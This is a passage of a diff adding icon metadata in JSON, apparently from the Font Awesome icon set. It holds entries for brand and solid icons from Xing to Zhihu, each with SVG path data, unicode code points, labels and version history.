19.9-31.3 25.4-43.5 7.4-16.2 15-40.2 18.6-58.7 4.3-22.5 3.9-70.8-.8-93.4zM141.3 43C189 40.5 251 77.5 255.6 78.4c.7.1 10.4-4.2 21.6-9.7 63.9-31.1 94-25.8 107.4-25.2-63.9-39.3-152.7-50-233.9-11.7-23.4 11.1-24 11.9-9.4 11.2z" + } + }, + "free": [ + "brands" + ] + }, + "xing": { + "changes": [ + "3.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f168", + "label": "Xing", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861030, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M162.7 210c-1.8 3.3-25.2 44.4-70.1 123.5-4.9 8.3-10.8 12.5-17.7 12.5H9.8c-7.7 0-12.1-7.5-8.5-14.4l69-121.3c.2 0 .2-.1 0-.3l-43.9-75.6c-4.3-7.8.3-14.1 8.5-14.1H100c7.3 0 13.3 4.1 18 12.2l44.7 77.5zM382.6 46.1l-144 253v.3L330.2 466c3.9 7.1.2 14.1-8.5 14.1h-65.2c-7.6 0-13.6-4-18-12.2l-92.4-168.5c3.3-5.8 51.5-90.8 144.8-255.2 4.6-8.1 10.4-12.2 17.5-12.2h65.7c8 0 12.3 6.7 8.5 14.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M162.7 210c-1.8 3.3-25.2 44.4-70.1 123.5-4.9 8.3-10.8 12.5-17.7 12.5H9.8c-7.7 0-12.1-7.5-8.5-14.4l69-121.3c.2 0 .2-.1 0-.3l-43.9-75.6c-4.3-7.8.3-14.1 8.5-14.1H100c7.3 0 13.3 4.1 18 12.2l44.7 77.5zM382.6 46.1l-144 253v.3L330.2 466c3.9 7.1.2 14.1-8.5 14.1h-65.2c-7.6 0-13.6-4-18-12.2l-92.4-168.5c3.3-5.8 51.5-90.8 144.8-255.2 4.6-8.1 10.4-12.2 17.5-12.2h65.7c8 0 12.3 6.7 8.5 14.1z" + } + }, + "free": [ + "brands" + ] + }, + "xing-square": { + "changes": [ + "3.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f169", + "label": "Xing Square", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861030, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM140.4 320.2H93.8c-5.5 0-8.7-5.3-6-10.3l49.3-86.7c.1 0 .1-.1 0-.2l-31.4-54c-3-5.6.2-10.1 6-10.1h46.6c5.2 0 9.5 2.9 12.9 8.7l31.9 55.3c-1.3 2.3-18 31.7-50.1 88.2-3.5 6.2-7.7 9.1-12.6 9.1zm219.7-214.1L257.3 286.8v.2l65.5 119c2.8 5.1.1 10.1-6 10.1h-46.6c-5.5 0-9.7-2.9-12.9-8.7l-66-120.3c2.3-4.1 36.8-64.9 103.4-182.3 3.3-5.8 7.4-8.7 12.5-8.7h46.9c5.7-.1 8.8 4.7 6 10z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM140.4 320.2H93.8c-5.5 0-8.7-5.3-6-10.3l49.3-86.7c.1 0 .1-.1 0-.2l-31.4-54c-3-5.6.2-10.1 6-10.1h46.6c5.2 0 9.5 2.9 12.9 8.7l31.9 55.3c-1.3 2.3-18 31.7-50.1 88.2-3.5 6.2-7.7 9.1-12.6 9.1zm219.7-214.1L257.3 286.8v.2l65.5 119c2.8 5.1.1 10.1-6 10.1h-46.6c-5.5 0-9.7-2.9-12.9-8.7l-66-120.3c2.3-4.1 36.8-64.9 103.4-182.3 3.3-5.8 7.4-8.7 12.5-8.7h46.9c5.7-.1 8.8 4.7 6 10z" + } + }, + "free": [ + "brands" + ] + }, + "y-combinator": { + "changes": [ + "4.4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f23b", + "label": "Y Combinator", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861030, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 32v448H0V32h448zM236 287.5L313.5 142h-32.7L235 233c-4.7 9.3-9 18.3-12.8 26.8L210 233l-45.2-91h-35l76.7 143.8v94.5H236v-92.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M448 32v448H0V32h448zM236 287.5L313.5 142h-32.7L235 233c-4.7 9.3-9 18.3-12.8 26.8L210 233l-45.2-91h-35l76.7 143.8v94.5H236v-92.8z" + } + }, + "free": [ + "brands" + ] + }, + "yahoo": { + "changes": [ + "4.1", + "5.0.0", + "5.0.3", + "5.13.1" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f19e", + "label": "Yahoo Logo", + "voted": false, + "svg": { + "brands": { + "last_modified": 1599860539202, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M223.69,141.06,167,284.23,111,141.06H14.93L120.76,390.19,82.19,480h94.17L317.27,141.06Zm105.4,135.79a58.22,58.22,0,1,0,58.22,58.22A58.22,58.22,0,0,0,329.09,276.85ZM394.65,32l-93,223.47H406.44L499.07,32Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M223.69,141.06,167,284.23,111,141.06H14.93L120.76,390.19,82.19,480h94.17L317.27,141.06Zm105.4,135.79a58.22,58.22,0,1,0,58.22,58.22A58.22,58.22,0,0,0,329.09,276.85ZM394.65,32l-93,223.47H406.44L499.07,32Z" + } + }, + "free": [ + "brands" + ] + }, + "yammer": { + "changes": [ + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f840", + "label": "Yammer", + "svg": { + "brands": { + "last_modified": 1628088633726, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M421.78 152.17A23.06 23.06 0 0 0 400.9 112c-.83.43-1.71.9-2.63 1.4-15.25 8.4-118.33 80.62-106.69 88.77s82.04-23.61 130.2-50zm0 217.17c-48.16-26.38-118.64-58.1-130.2-50s91.42 80.35 106.69 88.74c.92.51 1.8 1 2.63 1.41a23.07 23.07 0 0 0 20.88-40.15zM464.21 237c-.95 0-1.95-.06-3-.06-17.4 0-142.52 13.76-136.24 26.51s83.3 18.74 138.21 18.76a23 23 0 0 0 1-45.21zM31 96.65a24.88 24.88 0 0 1 46.14-18.4l81 205.06h1.21l77-203.53a23.52 23.52 0 0 1 44.45 15.27L171.2 368.44C152.65 415.66 134.08 448 77.91 448a139.67 139.67 0 0 1-23.81-1.95 21.31 21.31 0 0 1 6.9-41.77c.66.06 10.91.66 13.86.66 30.47 0 43.74-18.94 58.07-59.41z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M421.78 152.17A23.06 23.06 0 0 0 400.9 112c-.83.43-1.71.9-2.63 1.4-15.25 8.4-118.33 80.62-106.69 88.77s82.04-23.61 130.2-50zm0 217.17c-48.16-26.38-118.64-58.1-130.2-50s91.42 80.35 106.69 88.74c.92.51 1.8 1 2.63 1.41a23.07 23.07 0 0 0 20.88-40.15zM464.21 237c-.95 0-1.95-.06-3-.06-17.4 0-142.52 13.76-136.24 26.51s83.3 18.74 138.21 18.76a23 23 0 0 0 1-45.21zM31 96.65a24.88 24.88 0 0 1 46.14-18.4l81 205.06h1.21l77-203.53a23.52 23.52 0 0 1 44.45 15.27L171.2 368.44C152.65 415.66 134.08 448 77.91 448a139.67 139.67 0 0 1-23.81-1.95 21.31 21.31 0 0 1 6.9-41.77c.66.06 10.91.66 13.86.66 30.47 0 43.74-18.94 58.07-59.41z" + } + }, + "free": [ + "brands" + ] + }, + "yandex": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f413", + "label": "Yandex", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861030, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 256 512\"><path d=\"M153.1 315.8L65.7 512H2l96-209.8c-45.1-22.9-75.2-64.4-75.2-141.1C22.7 53.7 90.8 0 171.7 0H254v512h-55.1V315.8h-45.8zm45.8-269.3h-29.4c-44.4 0-87.4 29.4-87.4 114.6 0 82.3 39.4 108.8 87.4 108.8h29.4V46.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "256", + "512" + ], + "width": 256, + "height": 512, + "path": "M153.1 315.8L65.7 512H2l96-209.8c-45.1-22.9-75.2-64.4-75.2-141.1C22.7 53.7 90.8 0 171.7 0H254v512h-55.1V315.8h-45.8zm45.8-269.3h-29.4c-44.4 0-87.4 29.4-87.4 114.6 0 82.3 39.4 108.8 87.4 108.8h29.4V46.5z" + } + }, + "free": [ + "brands" + ] + }, + "yandex-international": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f414", + "label": "Yandex International", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861030, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M129.5 512V345.9L18.5 48h55.8l81.8 229.7L250.2 0h51.3L180.8 347.8V512h-51.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M129.5 512V345.9L18.5 48h55.8l81.8 229.7L250.2 0h51.3L180.8 347.8V512h-51.3z" + } + }, + "free": [ + "brands" + ] + }, + "yarn": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f7e3", + "label": "Yarn", + "voted": true, + "svg": { + "brands": { + "last_modified": 1546440861030, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M393.9 345.2c-39 9.3-48.4 32.1-104 47.4 0 0-2.7 4-10.4 5.8-13.4 3.3-63.9 6-68.5 6.1-12.4.1-19.9-3.2-22-8.2-6.4-15.3 9.2-22 9.2-22-8.1-5-9-9.9-9.8-8.1-2.4 5.8-3.6 20.1-10.1 26.5-8.8 8.9-25.5 5.9-35.3.8-10.8-5.7.8-19.2.8-19.2s-5.8 3.4-10.5-3.6c-6-9.3-17.1-37.3 11.5-62-1.3-10.1-4.6-53.7 40.6-85.6 0 0-20.6-22.8-12.9-43.3 5-13.4 7-13.3 8.6-13.9 5.7-2.2 11.3-4.6 15.4-9.1 20.6-22.2 46.8-18 46.8-18s12.4-37.8 23.9-30.4c3.5 2.3 16.3 30.6 16.3 30.6s13.6-7.9 15.1-5c8.2 16 9.2 46.5 5.6 65.1-6.1 30.6-21.4 47.1-27.6 57.5-1.4 2.4 16.5 10 27.8 41.3 10.4 28.6 1.1 52.7 2.8 55.3.8 1.4 13.7.8 36.4-13.2 12.8-7.9 28.1-16.9 45.4-17 16.7-.5 17.6 19.2 4.9 22.2zM496 256c0 136.9-111.1 248-248 248S0 392.9 0 256 111.1 8 248 8s248 111.1 248 248zm-79.3 75.2c-1.7-13.6-13.2-23-28-22.8-22 .3-40.5 11.7-52.8 19.2-4.8 3-8.9 5.2-12.4 6.8 3.1-44.5-22.5-73.1-28.7-79.4 7.8-11.3 18.4-27.8 23.4-53.2 4.3-21.7 3-55.5-6.9-74.5-1.6-3.1-7.4-11.2-21-7.4-9.7-20-13-22.1-15.6-23.8-1.1-.7-23.6-16.4-41.4 28-12.2.9-31.3 5.3-47.5 22.8-2 2.2-5.9 3.8-10.1 5.4h.1c-8.4 3-12.3 9.9-16.9 22.3-6.5 17.4.2 34.6 6.8 45.7-17.8 15.9-37 39.8-35.7 82.5-34 36-11.8 73-5.6 79.6-1.6 11.1 3.7 19.4 12 23.8 12.6 6.7 30.3 9.6 43.9 2.8 4.9 5.2 13.8 10.1 30 10.1 6.8 0 58-2.9 72.6-6.5 6.8-1.6 11.5-4.5 14.6-7.1 9.8-3.1 36.8-12.3 62.2-28.7 18-11.7 24.2-14.2 37.6-17.4 12.9-3.2 21-15.1 19.4-28.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M393.9 345.2c-39 9.3-48.4 32.1-104 47.4 0 0-2.7 4-10.4 5.8-13.4 3.3-63.9 6-68.5 6.1-12.4.1-19.9-3.2-22-8.2-6.4-15.3 9.2-22 9.2-22-8.1-5-9-9.9-9.8-8.1-2.4 5.8-3.6 20.1-10.1 26.5-8.8 8.9-25.5 5.9-35.3.8-10.8-5.7.8-19.2.8-19.2s-5.8 3.4-10.5-3.6c-6-9.3-17.1-37.3 11.5-62-1.3-10.1-4.6-53.7 40.6-85.6 0 0-20.6-22.8-12.9-43.3 5-13.4 7-13.3 8.6-13.9 5.7-2.2 11.3-4.6 15.4-9.1 20.6-22.2 46.8-18 46.8-18s12.4-37.8 23.9-30.4c3.5 2.3 16.3 30.6 16.3 30.6s13.6-7.9 15.1-5c8.2 16 9.2 46.5 5.6 65.1-6.1 30.6-21.4 47.1-27.6 57.5-1.4 2.4 16.5 10 27.8 41.3 10.4 28.6 1.1 52.7 2.8 55.3.8 1.4 13.7.8 36.4-13.2 12.8-7.9 28.1-16.9 45.4-17 16.7-.5 17.6 19.2 4.9 22.2zM496 256c0 136.9-111.1 248-248 248S0 392.9 0 256 111.1 8 248 8s248 111.1 248 248zm-79.3 75.2c-1.7-13.6-13.2-23-28-22.8-22 .3-40.5 11.7-52.8 19.2-4.8 3-8.9 5.2-12.4 6.8 3.1-44.5-22.5-73.1-28.7-79.4 7.8-11.3 18.4-27.8 23.4-53.2 4.3-21.7 3-55.5-6.9-74.5-1.6-3.1-7.4-11.2-21-7.4-9.7-20-13-22.1-15.6-23.8-1.1-.7-23.6-16.4-41.4 28-12.2.9-31.3 5.3-47.5 22.8-2 2.2-5.9 3.8-10.1 5.4h.1c-8.4 3-12.3 9.9-16.9 22.3-6.5 17.4.2 34.6 6.8 45.7-17.8 15.9-37 39.8-35.7 82.5-34 36-11.8 73-5.6 79.6-1.6 11.1 3.7 19.4 12 23.8 12.6 6.7 30.3 9.6 43.9 2.8 4.9 5.2 13.8 10.1 30 10.1 6.8 0 58-2.9 72.6-6.5 6.8-1.6 11.5-4.5 14.6-7.1 9.8-3.1 36.8-12.3 62.2-28.7 18-11.7 24.2-14.2 37.6-17.4 12.9-3.2 21-15.1 19.4-28.2z" + } + }, + "free": [ + "brands" + ] + }, + "yelp": { + "changes": [ + "4.2", + "5.0.0", + "5.7.0", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f1e9", + "label": "Yelp", + "voted": false, + "svg": { + "brands": { + "last_modified": 1558987775927, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M42.9 240.32l99.62 48.61c19.2 9.4 16.2 37.51-4.5 42.71L30.5 358.45a22.79 22.79 0 0 1-28.21-19.6 197.16 197.16 0 0 1 9-85.32 22.8 22.8 0 0 1 31.61-13.21zm44 239.25a199.45 199.45 0 0 0 79.42 32.11A22.78 22.78 0 0 0 192.94 490l3.9-110.82c.7-21.3-25.5-31.91-39.81-16.1l-74.21 82.4a22.82 22.82 0 0 0 4.09 34.09zm145.34-109.92l58.81 94a22.93 22.93 0 0 0 34 5.5 198.36 198.36 0 0 0 52.71-67.61A23 23 0 0 0 364.17 370l-105.42-34.26c-20.31-6.5-37.81 15.8-26.51 33.91zm148.33-132.23a197.44 197.44 0 0 0-50.41-69.31 22.85 22.85 0 0 0-34 4.4l-62 91.92c-11.9 17.7 4.7 40.61 25.2 34.71L366 268.63a23 23 0 0 0 14.61-31.21zM62.11 30.18a22.86 22.86 0 0 0-9.9 32l104.12 180.44c11.7 20.2 42.61 11.9 42.61-11.4V22.88a22.67 22.67 0 0 0-24.5-22.8 320.37 320.37 0 0 0-112.33 30.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M42.9 240.32l99.62 48.61c19.2 9.4 16.2 37.51-4.5 42.71L30.5 358.45a22.79 22.79 0 0 1-28.21-19.6 197.16 197.16 0 0 1 9-85.32 22.8 22.8 0 0 1 31.61-13.21zm44 239.25a199.45 199.45 0 0 0 79.42 32.11A22.78 22.78 0 0 0 192.94 490l3.9-110.82c.7-21.3-25.5-31.91-39.81-16.1l-74.21 82.4a22.82 22.82 0 0 0 4.09 34.09zm145.34-109.92l58.81 94a22.93 22.93 0 0 0 34 5.5 198.36 198.36 0 0 0 52.71-67.61A23 23 0 0 0 364.17 370l-105.42-34.26c-20.31-6.5-37.81 15.8-26.51 33.91zm148.33-132.23a197.44 197.44 0 0 0-50.41-69.31 22.85 22.85 0 0 0-34 4.4l-62 91.92c-11.9 17.7 4.7 40.61 25.2 34.71L366 268.63a23 23 0 0 0 14.61-31.21zM62.11 30.18a22.86 22.86 0 0 0-9.9 32l104.12 180.44c11.7 20.2 42.61 11.9 42.61-11.4V22.88a22.67 22.67 0 0 0-24.5-22.8 320.37 320.37 0 0 0-112.33 30.1z" + } + }, + "free": [ + "brands" + ] + }, + "yen-sign": { + "changes": [ + "3.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "currency", + "jpy", + "money" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f157", + "label": "Yen Sign", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635821, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M351.2 32h-65.3c-4.6 0-8.8 2.6-10.8 6.7l-55.4 113.2c-14.5 34.7-27.1 71.9-27.1 71.9h-1.3s-12.6-37.2-27.1-71.9L108.8 38.7c-2-4.1-6.2-6.7-10.8-6.7H32.8c-9.1 0-14.8 9.7-10.6 17.6L102.3 200H44c-6.6 0-12 5.4-12 12v32c0 6.6 5.4 12 12 12h88.2l19.8 37.2V320H44c-6.6 0-12 5.4-12 12v32c0 6.6 5.4 12 12 12h108v92c0 6.6 5.4 12 12 12h56c6.6 0 12-5.4 12-12v-92h108c6.6 0 12-5.4 12-12v-32c0-6.6-5.4-12-12-12H232v-26.8l19.8-37.2H340c6.6 0 12-5.4 12-12v-32c0-6.6-5.4-12-12-12h-58.3l80.1-150.4c4.3-7.9-1.5-17.6-10.6-17.6z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M351.2 32h-65.3c-4.6 0-8.8 2.6-10.8 6.7l-55.4 113.2c-14.5 34.7-27.1 71.9-27.1 71.9h-1.3s-12.6-37.2-27.1-71.9L108.8 38.7c-2-4.1-6.2-6.7-10.8-6.7H32.8c-9.1 0-14.8 9.7-10.6 17.6L102.3 200H44c-6.6 0-12 5.4-12 12v32c0 6.6 5.4 12 12 12h88.2l19.8 37.2V320H44c-6.6 0-12 5.4-12 12v32c0 6.6 5.4 12 12 12h108v92c0 6.6 5.4 12 12 12h56c6.6 0 12-5.4 12-12v-92h108c6.6 0 12-5.4 12-12v-32c0-6.6-5.4-12-12-12H232v-26.8l19.8-37.2H340c6.6 0 12-5.4 12-12v-32c0-6.6-5.4-12-12-12h-58.3l80.1-150.4c4.3-7.9-1.5-17.6-10.6-17.6z" + } + }, + "free": [ + "solid" + ] + }, + "yin-yang": { + "changes": [ + "5.3.0", + "5.10.2", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "daoism", + "opposites", + "taoism" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f6ad", + "label": "Yin Yang", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635821, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 376c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-128c-53.02 0-96 42.98-96 96s42.98 96 96 96c-106.04 0-192-85.96-192-192S141.96 64 248 64c53.02 0 96 42.98 96 96s-42.98 96-96 96zm0-128c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 376c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm0-128c-53.02 0-96 42.98-96 96s42.98 96 96 96c-106.04 0-192-85.96-192-192S141.96 64 248 64c53.02 0 96 42.98 96 96s-42.98 96-96 96zm0-128c-17.67 0-32 14.33-32 32s14.33 32 32 32 32-14.33 32-32-14.33-32-32-32z" + } + }, + "free": [ + "solid" + ] + }, + "yoast": { + "changes": [ + "4.6", + "5.0.0", + "5.0.3" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f2b1", + "label": "Yoast", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861031, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M91.3 76h186l-7 18.9h-179c-39.7 0-71.9 31.6-71.9 70.3v205.4c0 35.4 24.9 70.3 84 70.3V460H91.3C41.2 460 0 419.8 0 370.5V165.2C0 115.9 40.7 76 91.3 76zm229.1-56h66.5C243.1 398.1 241.2 418.9 202.2 459.3c-20.8 21.6-49.3 31.7-78.3 32.7v-51.1c49.2-7.7 64.6-49.9 64.6-75.3 0-20.1.6-12.6-82.1-223.2h61.4L218.2 299 320.4 20zM448 161.5V460H234c6.6-9.6 10.7-16.3 12.1-19.4h182.5V161.5c0-32.5-17.1-51.9-48.2-62.9l6.7-17.6c41.7 13.6 60.9 43.1 60.9 80.5z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M91.3 76h186l-7 18.9h-179c-39.7 0-71.9 31.6-71.9 70.3v205.4c0 35.4 24.9 70.3 84 70.3V460H91.3C41.2 460 0 419.8 0 370.5V165.2C0 115.9 40.7 76 91.3 76zm229.1-56h66.5C243.1 398.1 241.2 418.9 202.2 459.3c-20.8 21.6-49.3 31.7-78.3 32.7v-51.1c49.2-7.7 64.6-49.9 64.6-75.3 0-20.1.6-12.6-82.1-223.2h61.4L218.2 299 320.4 20zM448 161.5V460H234c6.6-9.6 10.7-16.3 12.1-19.4h182.5V161.5c0-32.5-17.1-51.9-48.2-62.9l6.7-17.6c41.7 13.6 60.9 43.1 60.9 80.5z" + } + }, + "free": [ + "brands" + ] + }, + "youtube": { + "changes": [ + "3.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "film", + "video", + "youtube-play", + "youtube-square" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f167", + "label": "YouTube", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861031, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M549.655 124.083c-6.281-23.65-24.787-42.276-48.284-48.597C458.781 64 288 64 288 64S117.22 64 74.629 75.486c-23.497 6.322-42.003 24.947-48.284 48.597-11.412 42.867-11.412 132.305-11.412 132.305s0 89.438 11.412 132.305c6.281 23.65 24.787 41.5 48.284 47.821C117.22 448 288 448 288 448s170.78 0 213.371-11.486c23.497-6.321 42.003-24.171 48.284-47.821 11.412-42.867 11.412-132.305 11.412-132.305s0-89.438-11.412-132.305zm-317.51 213.508V175.185l142.739 81.205-142.739 81.201z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M549.655 124.083c-6.281-23.65-24.787-42.276-48.284-48.597C458.781 64 288 64 288 64S117.22 64 74.629 75.486c-23.497 6.322-42.003 24.947-48.284 48.597-11.412 42.867-11.412 132.305-11.412 132.305s0 89.438 11.412 132.305c6.281 23.65 24.787 41.5 48.284 47.821C117.22 448 288 448 288 448s170.78 0 213.371-11.486c23.497-6.321 42.003-24.171 48.284-47.821 11.412-42.867 11.412-132.305 11.412-132.305s0-89.438-11.412-132.305zm-317.51 213.508V175.185l142.739 81.205-142.739 81.201z" + } + }, + "free": [ + "brands" + ] + }, + "youtube-square": { + "changes": [ + "5.0.3" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f431", + "label": "YouTube Square", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440861031, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M186.8 202.1l95.2 54.1-95.2 54.1V202.1zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-42 176.3s0-59.6-7.6-88.2c-4.2-15.8-16.5-28.2-32.2-32.4C337.9 128 224 128 224 128s-113.9 0-142.2 7.7c-15.7 4.2-28 16.6-32.2 32.4-7.6 28.5-7.6 88.2-7.6 88.2s0 59.6 7.6 88.2c4.2 15.8 16.5 27.7 32.2 31.9C110.1 384 224 384 224 384s113.9 0 142.2-7.7c15.7-4.2 28-16.1 32.2-31.9 7.6-28.5 7.6-88.1 7.6-88.1z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M186.8 202.1l95.2 54.1-95.2 54.1V202.1zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-42 176.3s0-59.6-7.6-88.2c-4.2-15.8-16.5-28.2-32.2-32.4C337.9 128 224 128 224 128s-113.9 0-142.2 7.7c-15.7 4.2-28 16.6-32.2 32.4-7.6 28.5-7.6 88.2-7.6 88.2s0 59.6 7.6 88.2c4.2 15.8 16.5 27.7 32.2 31.9C110.1 384 224 384 224 384s113.9 0 142.2-7.7c15.7-4.2 28-16.1 32.2-31.9 7.6-28.5 7.6-88.1 7.6-88.1z" + } + }, + "free": [ + "brands" + ] + }, + "zhihu": { + "changes": [ + "5.2.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f63f", + "label": "Zhihu", + "voted": true, + "svg": { + "brands": { + "last_modified": 1546440861031, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M170.54 148.13v217.54l23.43.01 7.71 26.37 42.01-26.37h49.53V148.13H170.54zm97.75 193.93h-27.94l-27.9 17.51-5.08-17.47-11.9-.04V171.75h72.82v170.31zm-118.46-94.39H97.5c1.74-27.1 2.2-51.59 2.2-73.46h51.16s1.97-22.56-8.58-22.31h-88.5c3.49-13.12 7.87-26.66 13.12-40.67 0 0-24.07 0-32.27 21.57-3.39 8.9-13.21 43.14-30.7 78.12 5.89-.64 25.37-1.18 36.84-22.21 2.11-5.89 2.51-6.66 5.14-14.53h28.87c0 10.5-1.2 66.88-1.68 73.44H20.83c-11.74 0-15.56 23.62-15.56 23.62h65.58C66.45 321.1 42.83 363.12 0 396.34c20.49 5.85 40.91-.93 51-9.9 0 0 22.98-20.9 35.59-69.25l53.96 64.94s7.91-26.89-1.24-39.99c-7.58-8.92-28.06-33.06-36.79-41.81L87.9 311.95c4.36-13.98 6.99-27.55 7.87-40.67h61.65s-.09-23.62-7.59-23.62v.01zm412.02-1.6c20.83-25.64 44.98-58.57 44.98-58.57s-18.65-14.8-27.38-4.06c-6 8.15-36.83 48.2-36.83 48.2l19.23 14.43zm-150.09-59.09c-9.01-8.25-25.91 2.13-25.91 2.13s39.52 55.04 41.12 57.45l19.46-13.73s-25.67-37.61-34.66-45.86h-.01zM640 258.35c-19.78 0-130.91.93-131.06.93v-101c4.81 0 12.42-.4 22.85-1.2 40.88-2.41 70.13-4 87.77-4.81 0 0 12.22-27.19-.59-33.44-3.07-1.18-23.17 4.58-23.17 4.58s-165.22 16.49-232.36 18.05c1.6 8.82 7.62 17.08 15.78 19.55 13.31 3.48 22.69 1.7 49.15.89 24.83-1.6 43.68-2.43 56.51-2.43v99.81H351.41s2.82 22.31 25.51 22.85h107.94v70.92c0 13.97-11.19 21.99-24.48 21.12-14.08.11-26.08-1.15-41.69-1.81 1.99 3.97 6.33 14.39 19.31 21.84 9.88 4.81 16.17 6.57 26.02 6.57 29.56 0 45.67-17.28 44.89-45.31v-73.32h122.36c9.68 0 8.7-23.78 8.7-23.78l.03-.01z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M170.54 148.13v217.54l23.43.01 7.71 26.37 42.01-26.37h49.53V148.13H170.54zm97.75 193.93h-27.94l-27.9 17.51-5.08-17.47-11.9-.04V171.75h72.82v170.31zm-118.46-94.39H97.5c1.74-27.1 2.2-51.59 